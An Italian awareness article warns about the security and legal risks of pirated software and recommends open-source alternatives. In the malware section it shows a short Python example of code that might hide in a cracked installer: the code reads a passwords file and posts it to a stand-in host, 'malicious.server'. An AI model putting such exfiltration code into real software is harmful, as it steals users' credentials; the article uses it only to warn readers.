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Pirated software: rischi e conseguenze del software pirata

Scopri cosa sono i pirated software, dove si trovano online e quali pericoli comportano per la sicurezza informatica e i tuoi dati personali.

Un software distribuito senza autorizzazione

Indice dei contenuti

  • Cos’è un software piratato?
  • Dove si scaricano i software pirata?
  • Perché le persone usano software pirata?
  • I pericoli per la sicurezza informatica
  • L’alternativa: software originali o open source

L’uso di pirated software è una pratica ancora molto diffusa, nonostante le campagne di sensibilizzazione, la crescente disponibilità di soluzioni open source e il rafforzamento dei controlli sul rispetto del diritto d’autore.

Dal momento che la sicurezza informatica è un elemento fondamentale per cittadini, aziende e liberi professionisti, è importante capire cosa si intende per software pirata, dove viene scaricato, e perché utilizzare software pirata rappresenta un pericolo reale, non solo legale ma anche tecnico.

Cos’è un software piratato?

Un software piratato è una copia di un programma distribuita e utilizzata senza licenza, in violazione del diritto d’autore e dei termini di utilizzo stabiliti dal produttore. Questo tipo di software non autorizzato può essere modificato per rimuovere i controlli di attivazione (i famosi “crack”) o per funzionare senza bisogno di una chiave di licenza valida.

In alcuni casi si tratta di software distribuito all’interno di archivi compressi, corredati da keygen, patch o altri strumenti che ingannano il sistema di protezione. Sebbene a volte il programma sembri funzionare come l’originale, i rischi sono molteplici, a cominciare da quelli per la sicurezza informatica.

Dove si scaricano i software pirata?

La diffusione dei software pirati avviene attraverso diversi canali, più o meno accessibili. I principali includono:

  • Reti peer to peer
    Come BitTorrent, dove è possibile trovare archivi condivisi da altri utenti. Il problema è che questi file possono essere stati modificati o infettati da malware.
  • Siti web specializzati
    Esistono portali (spesso ospitati su domini di difficile tracciabilità) che raccolgono versioni crackate di software noti. Anche qui, il pericolo di incorrere in software non autorizzato infetto è altissimo.
  • Forum e gruppi privati
    Su Telegram, Discord, Reddit e simili si trovano community che condividono regolarmente link per scaricare software piratato, con istruzioni dettagliate per l’installazione e l’aggiramento delle protezioni.

È importante sottolineare che questi ambienti sono anche terreno fertile per truffe, phishing e violazioni del diritto d’autore.

Pirated software

Perché le persone usano software pirata?

Il principale motivo è la volontà di ridurre i costi. Licenze per software professionali come Adobe Photoshop, Microsoft Office o AutoCAD possono superare anche i mille euro annui. Questo spinge molti utenti, soprattutto liberi professionisti e piccole realtà, a scegliere di scaricare software piratato.

Un altro motivo è la disinformazione: alcuni utenti non sono consapevoli del fatto che quello che stanno utilizzando è un software senza licenza, magari installato da un tecnico o trovato tramite una semplice ricerca su Google.

Esiste infine una questione di abitudine: in molti ambienti, specialmente nei Paesi con basso reddito medio, utilizzare software pirata è visto come una prassi normale.

I pericoli per la sicurezza informatica

L’uso di software pirati non comporta solo rischi legali, ma anche gravi conseguenze per la sicurezza informatica. Ecco perché:

1. Malware e backdoor

Un software non autorizzato potrebbe essere modificato per includere malware, trojan o backdoor in grado di prendere il controllo del dispositivo. Questi codici malevoli possono rubare dati personali, password, credenziali bancarie e documenti riservati.

Esempio tecnico: un installer crackato potrebbe contenere un codice come questo (esempio Python semplificato):

import requests

def send_data():

    with open("passwords.txt", "r") as f:

        content = f.read()

    requests.post("http://malicious.server/upload", data={"data": content})

send_data()

Questo codice potrebbe essere nascosto all’interno di uno script eseguibile che accompagna il setup piratato.

2. Assenza di aggiornamenti

Un software piratato spesso non può essere aggiornato tramite i canali ufficiali. Ciò significa che eventuali vulnerabilità note restano aperte, esponendo il sistema a exploit già documentati e utilizzati attivamente dai cybercriminali.

3. Interferenze con altri software

I software pirati possono causare instabilità nel sistema o conflitti con altri programmi legittimi, specialmente se manomessi a livello di librerie di sistema o registro di Windows.

4. Accesso remoto non autorizzato

Molti tool crack aprono connessioni verso l’esterno o utilizzano tecniche simili ai RAT (Remote Access Trojan). L’utente potrebbe non accorgersi che il suo dispositivo è sotto controllo di terzi, anche per mesi.

Implicazioni legali e sanzioni

L’utilizzo di software pirata è considerato una violazione del diritto d’autore. In Italia, la legge sul diritto d’autore (L. 633/1941) prevede sanzioni pecuniarie molto severe e, nei casi più gravi, sanzioni penali.

Anche il Software Alliance (ex BSA), un’organizzazione internazionale che rappresenta le principali aziende produttrici di software, collabora con autorità e governi per identificare e punire le violazioni. Ogni anno vengono effettuate migliaia di controlli in tutto il mondo, spesso con multe che superano i 10.000 euro per singola violazione.

Ecco alcune delle sanzioni più comuni:

  • Multe da 1.032 a 15.493 euro (art. 171 LDA)
  • Confisca dell’hardware
  • Inibizione all’attività professionale per i liberi professionisti
  • Risarcimento dei danni alla software house

L’alternativa: software originali o open source

Per evitare problemi, l’unica strada è usare software originali o soluzioni open source. Esistono ormai versioni gratuite, perfettamente legali e potenti, di quasi tutti i programmi commerciali:

  • GIMP invece di Photoshop
  • LibreOffice invece di Microsoft Office
  • Blender invece di Maya o 3ds Max
  • Inkscape per grafica vettoriale
  • Darktable per fotoritocco RAW
  • DaVinci Resolve (free) per editing video

In ambito professionale, adottare software open source non solo è legale, ma potrebbe essere anche una scelta strategica per ridurre i costi e mantenere un buon livello di sicurezza informatica.

Conclusione

Il fascino del software pirata è pericolosamente ingannevole. Quello che sembra un risparmio immediato, può trasformarsi in una falla di sicurezza, una perdita di dati o un contenzioso legale.

In un mondo sempre più digitale, utilizzare software non autorizzato non è solo una scelta sbagliata, è un rischio che nessuna persona o azienda dovrebbe mai correre.


Domande e risposte

  1. Cos’è un software piratato?
    È un software distribuito senza autorizzazione del produttore, in violazione della legge sul diritto d’autore.
  2. Dove si trovano i software pirata?
    Principalmente su siti web illegali, reti peer to peer e canali privati come Telegram e Discord.
  3. Quali rischi comporta l’uso di software pirata?
    Rischi di malware, furto di dati personali, instabilità del sistema e multe salate.
  4. È illegale usare un software pirata?
    Sì, e comporta sanzioni pecuniarie e potenzialmente penali.
  5. Come capire se un software è originale?
    Verifica che sia stato acquistato da rivenditori autorizzati e che abbia una licenza valida.
  6. Che alternative esistono ai software commerciali?
    Numerosi software open source possono sostituire validamente quelli a pagamento.
  7. I software pirata si possono aggiornare?
    No, spesso le versioni pirata non consentono l’accesso agli aggiornamenti ufficiali.
  8. I liberi professionisti possono usare software pirata?
    Assolutamente no: sono soggetti a controlli e multe, anche elevate.
  9. Cosa fa il Software Alliance?
    Combatte la violazione del diritto d’autore e tutela i produttori di software originali.
  10. È mai sicuro scaricare software pirata?
    No, scaricare software piratato espone a gravi rischi di sicurezza informatica.
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